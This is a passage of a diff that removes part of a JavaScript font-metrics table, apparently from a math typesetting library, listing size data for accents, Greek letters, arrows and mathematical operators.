-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,17,0],
-      [20,20,0],[24,23,0],[29,27,0],[34,31,0],[40,37,0],[48,45,0]
-    ],
-    0xB4: [  // ACUTE ACCENT
-      [3,2,-3],[4,2,-4],[4,3,-5],[5,3,-5],[6,3,-6],[7,4,-8],[8,5,-9],[10,6,-12],
-      [11,7,-14],[13,7,-17],[16,9,-19],[19,10,-23],[22,12,-28],[26,13,-34]
-    ],
-    0xD7: [  // MULTIPLICATION SIGN
-      [5,4,0],[6,5,0],[7,6,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],[15,12,0],
-      [18,14,0],[21,17,0],[25,20,0],[30,23,0],[36,27,-1],[42,33,-1]
-    ],
-    0xF7: [  // DIVISION SIGN
-      [5,4,0],[6,6,0],[8,7,0],[9,7,0],[10,8,0],[12,10,0],[15,12,0],[17,15,1],
-      [20,18,1],[24,19,1],[29,23,1],[34,27,2],[40,32,2],[48,39,2]
-    ],
-    0x131: [  // LATIN SMALL LETTER DOTLESS I
-      [2,3,0],[3,4,0],[3,5,0],[3,5,0],[4,6,0],[5,8,0],[5,9,0],[6,11,0],
-      [8,13,0],[9,15,0],[10,18,0],[12,21,0],[15,25,0],[17,30,0]
-    ],
-    0x237: [  // LATIN SMALL LETTER DOTLESS J
-      [3,4,1],[3,6,2],[4,7,2],[4,7,2],[5,9,3],[5,12,4],[7,13,4],[8,16,5],
-      [9,19,6],[10,22,7],[12,26,8],[14,30,9],[17,36,11],[19,44,13]
-    ],
-    0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-      [3,2,-3],[4,3,-4],[4,3,-5],[5,3,-5],[6,3,-7],[7,4,-9],[8,4,-10],[9,5,-13],
-      [11,6,-15],[13,7,-17],[16,7,-21],[18,9,-24],[22,10,-29],[26,12,-35]
-    ],
-    0x2C7: [  // CARON
-      [3,1,-3],[4,1,-5],[4,2,-6],[5,2,-6],[6,2,-7],[7,3,-9],[8,3,-10],[9,3,-13],
-      [11,4,-15],[13,5,-17],[16,6,-21],[18,6,-24],[22,8,-29],[26,9,-34]
-    ],
-    0x2C9: [  // MODIFIER LETTER MACRON
-      [3,1,-3],[4,1,-5],[5,1,-6],[6,1,-6],[6,1,-7],[8,1,-10],[9,1,-11],[10,2,-13],
-      [12,3,-15],[15,2,-18],[17,2,-22],[20,3,-26],[24,3,-30],[29,4,-36]
-    ],
-    0x2CA: [  // MODIFIER LETTER ACUTE ACCENT
-      [3,2,-3],[4,2,-4],[4,3,-5],[5,3,-5],[6,3,-6],[7,4,-8],[8,5,-9],[10,6,-12],
-      [11,7,-14],[13,7,-17],[16,9,-19],[19,10,-23],[22,12,-28],[26,13,-34]
-    ],
-    0x2CB: [  // MODIFIER LETTER GRAVE ACCENT
-      [3,2,-3],[3,2,-4],[3,3,-5],[4,3,-5],[5,3,-6],[5,4,-8],[6,4,-10],[7,6,-12],
-      [9,7,-14],[10,7,-17],[12,8,-20],[14,10,-23],[17,11,-28],[20,13,-34]
-    ],
-    0x2D8: [  // BREVE
-      [3,2,-3],[4,2,-4],[4,2,-6],[5,2,-6],[6,3,-6],[7,3,-9],[8,4,-10],[10,5,-12],
-      [12,5,-15],[14,6,-17],[16,7,-21],[19,9,-24],[23,10,-29],[27,12,-34]
-    ],
-    0x2D9: [  // DOT ABOVE
-      [3,1,-4],[3,2,-4],[4,2,-6],[4,2,-6],[5,2,-7],[6,3,-9],[7,3,-11],[8,3,-14],
-      [9,4,-16],[11,5,-18],[13,5,-22],[15,6,-26],[18,7,-31],[21,9,-37]
-    ],
-    0x2DC: [  // SMALL TILDE
-      [3,1,-4],[4,1,-5],[5,1,-7],[5,1,-7],[6,1,-8],[7,3,-9],[9,3,-11],[10,3,-14],
-      [12,3,-17],[14,4,-19],[17,4,-23],[20,5,-26],[23,6,-32],[28,7,-38]
-    ],
-    0x393: [  // GREEK CAPITAL LETTER GAMMA
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [16,20,0],[20,23,0],[23,27,0],[27,32,0],[32,38,0],[39,46,0]
-    ],
-    0x394: [  // GREEK CAPITAL LETTER DELTA
-      [6,5,0],[7,6,0],[8,8,0],[10,8,0],[11,9,0],[14,12,0],[16,14,0],[19,18,0],
-      [22,21,0],[26,24,0],[31,29,0],[37,34,0],[44,40,0],[52,48,0]
-    ],
-    0x398: [  // GREEK CAPITAL LETTER THETA
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,19,1],
-      [20,22,1],[24,25,1],[29,29,0],[34,34,1],[40,41,1],[48,49,1]
-    ],
-    0x39B: [  // GREEK CAPITAL LETTER LAMDA
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[11,12,0],[13,14,0],[16,18,0],
-      [19,21,0],[22,24,0],[26,29,0],[31,34,0],[37,40,0],[44,48,0]
-    ],
-    0x39E: [  // GREEK CAPITAL LETTER XI
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,38,0],[42,46,0]
-    ],
-    0x3A0: [  // GREEK CAPITAL LETTER PI
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-      [21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]
-    ],
-    0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,38,0],[44,46,0]
-    ],
-    0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,18,0],
-      [20,21,0],[24,24,0],[29,28,0],[34,33,0],[40,40,0],[48,47,0]
-    ],
-    0x3A6: [  // GREEK CAPITAL LETTER PHI
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,38,0],[44,46,0]
-    ],
-    0x3A8: [  // GREEK CAPITAL LETTER PSI
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-      [21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]
-    ],
-    0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[14,14,0],[16,18,0],
-      [19,21,0],[23,24,0],[27,29,0],[32,33,0],[38,40,0],[45,47,0]
-    ],
-    0x2002: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2003: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2004: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2005: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2006: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2009: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x200A: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2013: [  // EN DASH
-      [4,1,-1],[5,1,-2],[5,1,-2],[6,1,-2],[7,1,-3],[9,1,-4],[10,1,-5],[12,1,-6],
-      [14,2,-6],[17,3,-8],[20,3,-9],[24,2,-12],[28,3,-14],[33,3,-17]
-    ],
-    0x2014: [  // EM DASH
-      [7,1,-1],[9,1,-2],[10,1,-2],[12,1,-2],[14,1,-3],[17,1,-4],[20,1,-5],[24,1,-6],
-      [28,2,-6],[33,3,-8],[40,3,-9],[47,2,-12],[56,3,-14],[66,3,-17]
-    ],
-    0x2018: [  // LEFT SINGLE QUOTATION MARK
-      [2,2,-3],[2,4,-2],[2,4,-4],[3,4,-4],[3,4,-5],[4,6,-6],[4,7,-7],[5,8,-9],
-      [6,9,-11],[7,11,-12],[8,13,-15],[10,15,-18],[11,18,-21],[14,21,-25]
-    ],
-    0x2019: [  // RIGHT SINGLE QUOTATION MARK
-      [2,3,-2],[2,3,-3],[3,4,-4],[3,4,-4],[3,5,-4],[4,6,-6],[5,7,-7],[5,8,-9],
-      [6,10,-10],[7,11,-12],[9,13,-15],[10,15,-18],[12,18,-21],[14,22,-25]
-    ],
-    0x201C: [  // LEFT DOUBLE QUOTATION MARK
-      [4,2,-3],[4,4,-2],[5,4,-4],[6,4,-4],[7,4,-5],[8,6,-6],[10,7,-7],[11,8,-9],
-      [13,9,-11],[16,11,-12],[19,13,-15],[22,15,-18],[26,18,-21],[31,21,-25]
-    ],
-    0x201D: [  // RIGHT DOUBLE QUOTATION MARK
-      [3,3,-2],[4,3,-3],[4,4,-4],[5,4,-4],[6,5,-4],[7,6,-6],[8,7,-7],[9,8,-9],
-      [11,10,-10],[13,11,-12],[15,13,-15],[18,15,-18],[21,18,-21],[25,22,-25]
-    ],
-    0x2020: [  // DAGGER
-      [3,6,1],[4,8,2],[4,10,2],[5,10,2],[6,12,3],[7,16,4],[8,18,4],[9,23,5],
-      [11,27,6],[13,31,7],[16,37,8],[18,44,11],[22,52,12],[26,62,15]
-    ],
-    0x2021: [  // DOUBLE DAGGER
-      [3,6,1],[4,8,2],[4,10,2],[5,10,2],[6,12,3],[7,16,4],[8,18,4],[10,23,5],
-      [11,27,6],[13,31,7],[16,37,8],[19,43,9],[22,51,11],[26,61,13]
-    ],
-    0x2026: [  // HORIZONTAL ELLIPSIS
-      [8,1,0],[10,2,0],[11,2,0],[13,2,0],[16,2,0],[19,3,0],[22,3,0],[26,3,0],
-      [31,4,0],[36,5,0],[43,5,0],[51,6,0],[61,7,0],[72,9,0]
-    ],
-    0x2032: [  // PRIME
-      [2,4,0],[3,5,0],[3,6,0],[4,6,0],[4,7,-1],[5,9,-1],[6,11,-1],[7,13,-1],
-      [8,15,-1],[9,18,-1],[11,21,-2],[13,24,-2],[15,29,-2],[18,35,-3]
-    ],
-    0x20D7: [  // COMBINING RIGHT ARROW ABOVE
-      [4,2,-3],[4,2,-4],[5,3,-5],[6,3,-6],[7,3,-7],[8,4,-8],[10,5,-9],[11,5,-12],
-      [14,6,-14],[16,7,-17],[18,9,-20],[21,10,-24],[26,12,-28],[30,14,-33]
-    ],
-    0x210F: [  // stix-/hbar - Planck's over 2pi
-      [4,6,1],[5,7,1],[6,7,0],[7,10,1],[8,11,1],[10,13,1],[11,15,1],[13,18,1],
-      [16,21,1],[19,25,1],[22,29,1],[26,34,1],[31,40,1],[37,47,1]
-    ],
-    0x2111: [  // BLACK-LETTER CAPITAL I
-      [5,6,1],[6,7,1],[7,8,1],[8,9,0],[10,11,1],[12,13,1],[14,15,1],[17,18,1],
-      [20,21,1],[23,25,1],[28,29,1],[33,34,1],[39,40,1],[46,48,1]
-    ],
-    0x2113: [  // SCRIPT SMALL L
-      [4,5,0],[4,7,1],[4,8,1],[5,10,1],[6,11,1],[7,13,1],[8,15,1],[10,18,1],
-      [12,21,1],[14,25,1],[16,29,1],[19,34,1],[23,41,2],[27,49,2]
-    ],
-    0x2118: [  // SCRIPT CAPITAL P
-      [5,5,2],[5,6,2],[6,7,2],[8,9,3],[9,10,3],[11,12,4],[13,13,4],[15,16,5],
-      [18,19,6],[21,23,8],[25,27,9],[29,32,11],[35,37,12],[41,45,15]
-    ],
-    0x211C: [  // BLACK-LETTER CAPITAL R
-      [6,5,0],[6,6,0],[7,8,0],[9,9,0],[11,11,1],[13,13,1],[15,16,1],[17,18,1],
-      [21,22,1],[24,25,1],[29,30,1],[34,35,1],[40,41,1],[48,50,2]
-    ],
-    0x2135: [  // ALEF SYMBOL
-      [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,23,0],[22,28,0],[26,33,0],[31,39,0],[37,46,0]
-    ],
-    0x2190: [  // LEFTWARDS ARROW
-      [7,5,1],[8,5,0],[10,6,1],[12,7,1],[14,9,1],[16,9,0],[19,11,1],[22,13,1],
-      [27,15,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-    ],
-    0x2191: [  // UPWARDS ARROW
-      [4,7,2],[5,8,2],[5,9,2],[6,12,3],[7,13,3],[9,16,4],[10,18,4],[11,22,5],
-      [13,26,6],[16,30,7],[19,36,8],[22,42,9],[27,50,11],[32,59,13]
-    ],
-    0x2192: [  // RIGHTWARDS ARROW
-      [7,5,1],[8,5,0],[10,7,1],[12,7,1],[14,9,1],[16,9,0],[19,11,1],[22,13,1],
-      [27,15,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-    ],
-    0x2193: [  // DOWNWARDS ARROW
-      [4,7,2],[5,8,2],[5,9,2],[6,12,3],[7,13,3],[9,16,4],[10,18,4],[12,22,5],
-      [14,26,6],[16,30,7],[19,36,8],[23,42,9],[27,50,11],[32,59,13]
-    ],
-    0x2194: [  // LEFT RIGHT ARROW
-      [7,5,1],[8,5,0],[10,7,1],[12,7,1],[14,9,1],[16,9,0],[19,11,1],[22,13,1],
-      [27,15,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-    ],
-    0x2195: [  // UP DOWN ARROW
-      [4,8,2],[5,10,3],[5,11,3],[6,14,4],[7,15,4],[9,18,5],[10,22,6],[12,25,7],
-      [14,30,8],[16,35,9],[19,42,11],[23,49,13],[27,59,16],[32,69,18]
-    ],
-    0x2196: [  // NORTH WEST ARROW
-      [7,7,2],[8,8,2],[10,10,2],[12,12,3],[14,13,3],[16,16,4],[19,19,4],[22,22,5],
-      [27,26,6],[32,31,7],[38,37,8],[45,44,10],[53,52,12],[63,61,13]
-    ],
-    0x2197: [  // NORTH EAST ARROW
-      [7,7,2],[9,8,2],[10,10,2],[12,12,3],[14,13,3],[16,16,4],[19,19,4],[23,22,5],
-      [27,26,6],[32,31,7],[38,37,8],[46,44,10],[54,52,11],[64,61,13]
-    ],
-    0x2198: [  // SOUTH EAST ARROW
-      [7,7,2],[9,8,2],[10,10,3],[12,12,3],[14,13,3],[17,16,4],[19,19,5],[23,23,6],
-      [27,26,6],[32,31,8],[38,37,9],[46,44,11],[54,52,13],[64,61,15]
-    ],
-    0x2199: [  // SOUTH WEST ARROW
-      [7,7,2],[8,8,2],[10,10,3],[12,12,3],[14,13,3],[16,16,4],[19,19,5],[22,23,6],
-      [26,26,6],[32,31,8],[37,37,9],[44,44,11],[53,52,13],[63,61,15]
-    ],
-    0x21A6: [  // RIGHTWARDS ARROW FROM BAR
-      [7,5,1],[8,5,0],[10,7,1],[11,7,1],[14,9,1],[16,9,0],[19,11,1],[22,13,1],
-      [27,15,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-    ],
-    0x21A9: [  // LEFTWARDS ARROW WITH HOOK
-      [8,5,1],[9,5,0],[11,7,1],[13,7,1],[15,9,1],[18,9,0],[21,11,1],[25,13,1],
-      [30,15,1],[36,18,1],[42,21,1],[50,25,1],[60,30,1],[71,35,1]
-    ],
-    0x21AA: [  // RIGHTWARDS ARROW WITH HOOK
-      [8,5,1],[9,5,0],[11,7,1],[13,7,1],[15,9,1],[18,9,0],[21,11,1],[25,13,1],
-      [30,15,1],[36,18,1],[42,22,1],[50,25,1],[60,30,1],[71,35,1]
-    ],
-    0x21BC: [  // LEFTWARDS HARPOON WITH BARB UPWARDS
-      [7,3,-1],[8,3,-2],[10,4,-2],[12,4,-2],[14,5,-3],[16,5,-4],[19,6,-4],[22,7,-5],
-      [27,8,-6],[32,10,-7],[37,11,-9],[44,14,-10],[53,17,-12],[63,19,-15]
-    ],
-    0x21BD: [  // LEFTWARDS HARPOON WITH BARB DOWNWARDS
-      [7,3,1],[8,3,0],[10,4,1],[12,4,1],[14,5,1],[16,5,0],[19,7,1],[22,8,1],
-      [27,9,1],[32,10,1],[37,12,1],[44,14,1],[53,16,1],[63,19,1]
-    ],
-    0x21C0: [  // RIGHTWARDS HARPOON WITH BARB UPWARDS
-      [7,3,-1],[8,3,-2],[10,4,-2],[12,4,-2],[14,5,-3],[16,5,-4],[19,6,-4],[22,7,-5],
-      [27,8,-6],[32,10,-7],[37,11,-9],[44,14,-10],[53,17,-12],[63,19,-15]
-    ],
-    0x21C1: [  // RIGHTWARDS HARPOON WITH BARB DOWNWARDS
-      [7,3,1],[8,3,0],[10,4,1],[12,4,1],[14,5,1],[16,5,0],[19,7,1],[22,8,1],
-      [27,9,1],[32,10,1],[37,12,1],[44,14,1],[53,16,1],[63,19,1]
-    ],
-    0x21CC: [  // RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON
-      [7,6,1],[8,6,0],[10,8,1],[12,9,1],[14,11,1],[16,11,0],[19,14,1],[22,17,1],
-      [27,20,1],[32,24,1],[37,28,1],[44,33,1],[53,39,1],[63,45,1]
-    ],
-    0x21D0: [  // LEFTWARDS DOUBLE ARROW
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,10,1],[19,11,1],[22,14,1],
-      [27,16,1],[32,20,2],[37,23,2],[44,27,2],[53,31,2],[63,38,3]
-    ],
-    0x21D1: [  // UPWARDS DOUBLE ARROW
-      [4,7,2],[5,8,2],[6,9,2],[7,12,3],[8,13,3],[10,16,4],[12,18,4],[14,22,5],
-      [17,26,6],[20,30,7],[23,36,8],[28,43,10],[32,50,11],[38,59,13]
-    ],
-    0x21D2: [  // RIGHTWARDS DOUBLE ARROW
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,10,1],[19,12,1],[22,14,1],
-      [27,16,1],[32,19,1],[37,22,1],[44,26,1],[53,32,2],[63,37,2]
-    ],
-    0x21D3: [  // DOWNWARDS DOUBLE ARROW
-      [5,7,2],[5,8,2],[6,9,2],[7,12,3],[8,13,3],[10,16,4],[12,18,4],[14,22,5],
-      [17,26,6],[20,30,7],[23,36,8],[28,43,10],[32,50,11],[39,59,13]
-    ],
-    0x21D4: [  // LEFT RIGHT DOUBLE ARROW
-      [7,5,1],[9,6,1],[10,7,1],[12,8,1],[14,9,1],[17,10,1],[19,12,1],[23,14,1],
-      [27,16,1],[32,19,1],[38,23,2],[45,27,2],[54,31,2],[64,37,2]
-    ],
-    0x21D5: [  // UP DOWN DOUBLE ARROW
-      [4,8,2],[5,10,3],[6,11,3],[7,14,4],[8,15,4],[10,18,5],[12,22,6],[14,26,7],
-      [17,30,8],[20,35,9],[23,42,11],[28,50,13],[32,58,15],[39,70,18]
-    ],
-    0x2200: [  // FOR ALL
-      [4,6,1],[5,7,1],[6,8,1],[7,10,1],[8,11,1],[10,13,1],[11,15,1],[13,18,1],
-      [16,20,1],[19,24,1],[22,29,1],[26,35,2],[31,41,2],[37,48,2]
-    ],
-    0x2202: [  // PARTIAL DIFFERENTIAL
-      [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,11,1],[10,13,1],[11,15,1],[14,18,1],
-      [16,21,1],[19,25,1],[23,30,1],[27,35,1],[32,42,2],[38,50,2]
-    ],
-    0x2203: [  // THERE EXISTS
-      [4,5,0],[4,6,0],[5,7,0],[6,8,0],[7,10,0],[9,12,0],[10,14,0],[12,16,0],
-      [14,20,0],[17,23,0],[20,28,0],[24,33,0],[28,39,0],[33,46,0]
-    ],
-    0x2205: [  // EMPTY SET
-      [4,7,1],[4,8,1],[5,9,1],[6,12,2],[7,13,2],[8,15,2],[9,18,2],[11,22,3],
-      [13,25,3],[16,29,3],[18,35,4],[22,40,4],[26,48,5],[31,57,6]
-    ],
-    0x2207: [  // NABLA
-      [6,6,1],[7,7,1],[8,8,1],[10,10,1],[11,11,1],[14,13,1],[16,15,1],[19,17,1],
-      [22,20,1],[26,24,1],[31,29,2],[37,34,2],[44,40,2],[52,48,3]
-    ],
-    0x2208: [  // ELEMENT OF
-      [5,5,1],[5,6,1],[6,7,1],[7,8,1],[9,9,1],[10,10,1],[12,12,1],[14,14,1],
-      [16,17,2],[20,20,2],[23,24,2],[27,28,2],[33,33,3],[39,39,3]
-    ],
-    0x2209: [  // stix-negated (vert) set membership, variant
-      [4,7,2],[5,8,2],[6,11,3],[7,12,3],[8,13,3],[10,16,4],[12,20,5],[14,23,6],
-      [16,27,7],[20,32,8],[23,37,9],[27,44,11],[33,52,13],[39,62,15]
-    ],
-    0x220B: [  // CONTAINS AS MEMBER
-      [4,5,1],[5,6,1],[6,7,1],[7,8,1],[8,9,1],[10,10,1],[12,12,1],[14,14,1],
-      [17,17,2],[20,20,2],[23,24,2],[28,28,2],[33,33,3],[39,39,3]
-    ],
-    0x2212: [  // MINUS SIGN
-      [5,1,-1],[6,1,-2],[7,1,-2],[9,1,-2],[10,1,-3],[12,1,-4],[14,2,-4],[17,2,-5],
-      [20,2,-6],[23,2,-7],[28,2,-9],[33,3,-10],[39,3,-12],[46,3,-15]
-    ],
-    0x2213: [  // MINUS-OR-PLUS SIGN
-      [5,6,2],[6,6,2],[8,7,2],[9,8,2],[10,10,3],[12,12,3],[15,14,4],[17,16,4],
-      [20,19,5],[24,23,6],[29,27,7],[34,32,8],[40,38,10],[48,44,11]
-    ],
-    0x2215: [  // DIVISION SLASH
-      [4,8,2],[4,10,3],[5,11,3],[6,12,3],[7,15,4],[8,18,5],[9,20,5],[11,24,6],
-      [13,28,7],[15,34,9],[18,40,10],[21,47,12],[25,56,14],[30,67,17]
-    ],
-    0x2216: [  // SET MINUS
-      [4,8,2],[4,10,3],[5,11,3],[6,12,3],[7,15,4],[8,18,5],[9,20,5],[11,24,6],
-      [13,28,7],[15,34,9],[18,40,10],[21,47,12],[25,56,14],[30,67,17]
-    ],
-    0x2217: [  // ASTERISK OPERATOR
-      [3,4,0],[4,4,0],[5,5,0],[6,6,0],[6,7,0],[8,8,0],[9,10,0],[11,11,0],
-      [12,13,0],[15,15,-1],[17,18,-1],[21,21,-1],[24,25,-1],[29,29,-2]
-    ],
-    0x2218: [  // RING OPERATOR
-      [3,3,0],[4,4,0],[5,5,0],[5,5,0],[7,6,0],[8,7,-1],[9,8,-1],[11,10,-1],
-      [13,12,-1],[15,14,-1],[18,16,-2],[21,19,-2],[25,22,-3],[30,27,-3]
-    ],
-    0x2219: [  // BULLET OPERATOR
-      [4,4,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,8,-1],[11,10,-1],
-      [13,12,-1],[15,14,-1],[18,16,-2],[21,19,-2],[25,22,-3],[30,27,-3]
-    ],
-    0x221A: [  // SQUARE ROOT
-      [6,8,2],[8,9,2],[9,10,2],[11,13,3],[12,15,3],[15,18,4],[17,20,4],[20,24,5],
-      [24,29,6],[29,34,7],[34,40,8],[40,48,10],[48,57,12],[57,67,14]
-    ],
-    0x221D: [  // PROPORTIONAL TO
-      [5,3,0],[6,4,0],[8,5,0],[9,5,0],[11,6,0],[13,8,0],[15,9,0],[17,12,1],
-      [21,14,1],[24,16,1],[29,19,1],[34,22,1],[40,26,1],[48,30,1]
-    ],
-    0x221E: [  // INFINITY
-      [7,3,0],[8,4,0],[10,5,0],[11,5,0],[14,6,0],[16,9,1],[19,10,1],[22,12,1],
-      [27,14,1],[32,16,1],[37,19,1],[44,22,1],[53,26,1],[63,31,1]
-    ],
-    0x2220: [  // ANGLE
-      [5,5,0],[6,6,0],[7,7,0],[8,9,0],[10,10,0],[12,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[27,28,0],[31,33,0],[37,39,0],[44,46,0]
-    ],
-    0x2223: [  // DIVIDES
-      [1,8,2],[2,10,3],[2,11,3],[2,12,3],[2,15,4],[3,18,5],[3,20,5],[4,24,6],
-      [5,28,7],[6,34,9],[7,40,10],[8,47,12],[9,56,14],[11,67,17]
-    ],
-    0x2225: [  // PARALLEL TO
-      [3,8,2],[4,10,3],[4,11,3],[5,14,4],[6,16,5],[7,18,5],[8,22,6],[9,25,7],
-      [11,30,8],[13,36,10],[15,42,11],[18,50,13],[21,59,16],[25,70,19]
-    ],
-    0x2227: [  // LOGICAL AND
-      [5,6,1],[6,6,1],[6,7,1],[8,9,1],[9,10,1],[11,11,1],[12,13,1],[15,15,1],
-      [17,18,1],[21,21,1],[24,25,1],[29,30,2],[34,36,2],[41,42,2]
-    ],
-    0x2228: [  // LOGICAL OR
-      [5,6,1],[6,6,1],[6,7,1],[8,9,1],[9,10,1],[11,11,1],[12,13,1],[15,15,1],
-      [17,18,1],[21,21,1],[24,25,1],[29,30,2],[34,36,2],[41,42,2]
-    ],
-    0x2229: [  // stix-intersection, serifs
-      [5,5,1],[5,6,1],[6,7,1],[7,8,1],[9,10,1],[10,11,1],[12,13,1],[14,15,1],
-      [17,18,1],[21,21,1],[24,25,1],[29,30,2],[34,36,2],[41,42,2]
-    ],
-    0x222A: [  // stix-union, serifs
-      [5,5,1],[6,6,1],[6,7,1],[8,8,1],[9,10,1],[11,11,1],[12,13,1],[14,15,1],
-      [18,18,1],[21,21,1],[24,25,1],[29,29,1],[34,36,2],[41,42,2]
-    ],
-    0x222B: [  // INTEGRAL
-      [3,7,2],[4,8,2],[5,9,2],[6,12,3],[7,13,3],[8,16,4],[10,18,4],[11,23,6],
-      [13,26,6],[16,32,8],[19,38,9],[22,45,11],[26,52,12],[31,63,15]
-    ],
-    0x223C: [  // TILDE OPERATOR
-      [5,2,-1],[6,2,-1],[7,3,-1],[9,4,-1],[10,3,-2],[12,5,-2],[14,6,-2],[17,6,-3],
-      [20,8,-3],[24,9,-4],[29,10,-5],[34,12,-6],[40,14,-7],[48,17,-8]
-    ],
-    0x2240: [  // WREATH PRODUCT
-      [2,5,1],[2,6,1],[2,7,1],[3,8,1],[4,9,1],[4,12,2],[5,14,2],[6,16,2],
-      [7,19,3],[8,23,3],[9,27,4],[11,32,4],[13,38,5],[15,45,6]
-    ],
-    0x2243: [  // ASYMPTOTICALLY EQUAL TO
-      [5,4,0],[6,4,0],[8,5,0],[9,6,0],[10,7,0],[12,8,0],[15,10,0],[17,10,-1],
-      [20,12,-1],[24,15,-1],[29,18,-1],[34,21,-1],[40,25,-1],[48,29,-2]
-    ],
-    0x2245: [  // APPROXIMATELY EQUAL TO
-      [5,4,0],[6,5,0],[8,6,0],[9,7,0],[10,8,0],[12,10,0],[15,12,0],[17,14,0],
-      [20,17,0],[24,20,0],[29,24,0],[34,27,-1],[40,32,-1],[48,38,-1]
-    ],
-    0x2248: [  // ALMOST EQUAL TO
-      [5,4,0],[6,4,0],[7,5,0],[9,6,0],[10,6,-1],[12,9,0],[14,9,-1],[17,11,-1],
-      [20,13,-1],[24,15,-1],[29,17,-2],[34,21,-2],[40,24,-3],[48,29,-3]
-    ],
-    0x224D: [  // EQUIVALENT TO
-      [5,4,0],[6,5,0],[8,5,0],[9,6,0],[10,7,0],[12,9,0],[15,10,0],[17,12,0],
-      [20,14,0],[24,16,0],[29,19,0],[34,23,0],[40,27,0],[48,31,-1]
-    ],
-    0x2250: [  // APPROACHES THE LIMIT
-      [5,4,-1],[6,5,-1],[8,6,-1],[9,7,-1],[10,8,-2],[12,10,-2],[15,12,-2],[17,13,-3],
-      [20,16,-3],[24,19,-4],[29,22,-5],[34,26,-6],[40,31,-7],[48,37,-8]
-    ],
-    0x2260: [  // stix-not (vert) equals
-      [5,7,2],[6,8,2],[8,10,3],[9,12,3],[10,13,3],[12,16,4],[15,19,5],[17,23,6],
-      [20,26,6],[24,32,8],[29,38,9],[34,45,11],[40,53,13],[48,62,15]
-    ],
-    0x2261: [  // IDENTICAL TO
-      [5,4,0],[6,4,0],[8,5,0],[9,6,0],[10,7,0],[12,8,0],[15,9,0],[17,10,-1],
-      [20,12,-1],[24,15,-1],[29,18,-1],[34,21,-1],[40,25,-1],[48,29,-2]
-    ],
-    0x2264: [  // LESS-THAN OR EQUAL TO
-      [5,6,1],[6,7,1],[8,9,2],[9,10,2],[10,11,2],[12,14,3],[15,16,3],[17,18,3],
-      [20,22,4],[24,26,5],[28,31,6],[34,37,7],[40,44,8],[48,52,10]
-    ],
-    0x2265: [  // GREATER-THAN OR EQUAL TO
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-    ],
-    0x226A: [  // MUCH LESS-THAN
